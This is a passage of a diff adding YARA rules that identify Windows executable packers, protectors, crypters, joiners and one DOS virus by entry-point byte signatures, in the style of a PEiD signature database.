+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_16__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.6 -> coban2k"
+	strings:
+		$0 = {33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Necropolis1963_
+{
+	meta:
+		description = "Vx: Necropolis.1963"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v0399__Dwing_
+{
+	meta:
+		description = "Upack v0.399 -> Dwing"
+	strings:
+		$0 = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+		$2 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 10 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Obsidium_v1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+		$1 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEQuake_006_forgat_
+{
+	meta:
+		description = "PEQuake 0.06-> forgat"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? ?? 00 5B ?? ?? 00 6E ?? ?? 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Metrowerks_CodeWarrior_DLL_v20_
+{
+	meta:
+		description = "Metrowerks CodeWarrior (DLL) v2.0"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_VideoLanClient__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Video-Lan-Client] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_Unknown_DLL___Dwing_
+{
+	meta:
+		description = "Upack_Unknown (DLL ???) -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 17 CD 00 00 E9 06 02}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_XtremeProtector_105__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Xtreme-Protector 1.05) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E8 00 00 00 00 5D 81 00 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSplitter_13_SplitpCrypt_Method__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64}
+		$1 = {E8 00 00 00 00 5D 81 ED 05 10 40 00 B9 ?? ?? ?? ?? 8D 85 1D 10 40 00 80 30 66 40 E2 FA 8F 98 67 66 66 ?? ?? ?? ?? ?? ?? ?? 66}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_PEX_099__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PEX 0.99) -> emadicius"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ_13__Extranger_
+{
+	meta:
+		description = "SimbiOZ 1.3 -> Extranger"
+	strings:
+		$0 = {57 57 8D 7C 24 04 50 B8 00 ?? ?? ?? AB 58 5F C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_Neolite_20__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake Neolite 2.0) -> emadicius"
+	strings:
+		$0 = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31 39 39 39 20 4E 65 6F 57 6F 72 78 20 49 6E 63 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 31 39 39 39 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 00 00 00 00 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_12Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2.Demo -> SIS-Team"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B}
+	condition:
+		$0
+}
+rule _EXE32Pack_v137_
+{
+	meta:
+		description = "EXE32Pack v1.37"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10804__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.04 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 41 06 00 00 EB 41}
+	condition:
+		$0 at entrypoint
+}
+rule _SmokesCrypt_v12_
+{
+	meta:
+		description = "SmokesCrypt v1.2"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_50_Dll__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 5.0 Dll -> Silicon Realms Toolworks"
+	strings:
+		$0 = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1304__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.3.0.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+		$1 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_118_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_19X__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 1.9X -> Jitit"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallShield_2000_
+{
+	meta:
+		description = "InstallShield 2000"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _yzpack_20__UsAr_
+{
+	meta:
+		description = "yzpack 2.0 -> UsAr"
+	strings:
+		$0 = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28}
+	condition:
+		$0 at entrypoint
+}
+rule _UltraPro_V10__SafeNet_
+{
+	meta:
+		description = "UltraPro V1.0 -> SafeNet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_GUI_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (GUI) v1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1322__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.2.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_v190g__Risco_software_Inc_
+{
+	meta:
+		description = "ACProtect v1.90g -> Risco software Inc."
+	strings:
+		$0 = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b4_
+{
+	meta:
+		description = "PECompact v1.10b4"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v274_
+{
+	meta:
+		description = "EXE Stealth v2.74"
+	strings:
+		$0 = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+	condition:
+		$0
+}
+rule _FSG_131__dulekxt_
+{
+	meta:
+		description = "FSG 1.31 -> dulek/xt"
+	strings:
+		$0 = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _RJcrush_v100_
+{
+	meta:
+		description = "RJcrush v1.00"
+	strings:
+		$0 = {06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1350__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.5.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? ?? ?? ?? EB 01 ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V14X__risco_
+{
+	meta:
+		description = "ACProtect V1.4X -> risco"
+	strings:
+		$0 = {60 E8 01 00 00 00 7C 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Armadillo_300__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Armadillo 3.00] --> Anorganix"
+	strings:
+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v012_
+{
+	meta:
+		description = "XCR v0.12"
+	strings:
+		$0 = {60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2223_compressed_code__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2/2.3 (compressed code) -> www.strongbit.com"
+	strings:
+		$0 = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50}
+		$1 = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3}
+	condition:
+		$0 or $1
+}
+rule _PENinja_
+{
+	meta:
+		description = "PENinja"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_v142_
+{
+	meta:
+		description = "X-Pack v1.4.2"
+	strings:
+		$0 = {72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3}
+	condition:
+		$0
+}
+rule _PESpin_v11__Cyberbob_
+{
+	meta:
+		description = "PESpin v1.1 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCryptor_by_SMT_Version_v3v4_
+{
+	meta:
+		description = "PolyCryptor by SMT Version %v3.%v4"
+	strings:
+		$0 = {EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_v007_
+{
+	meta:
+		description = "Ding Boy's PE-lock v0.07"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_10__Yoda_
+{
+	meta:
+		description = "ExeJoiner 1.0 -> Yoda"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_v132_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector v1.32 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _JExeCompressor_10__by_Arash_Veyskarami_
+{
+	meta:
+		description = "JExeCompressor 1.0 - by Arash Veyskarami"
+	strings:
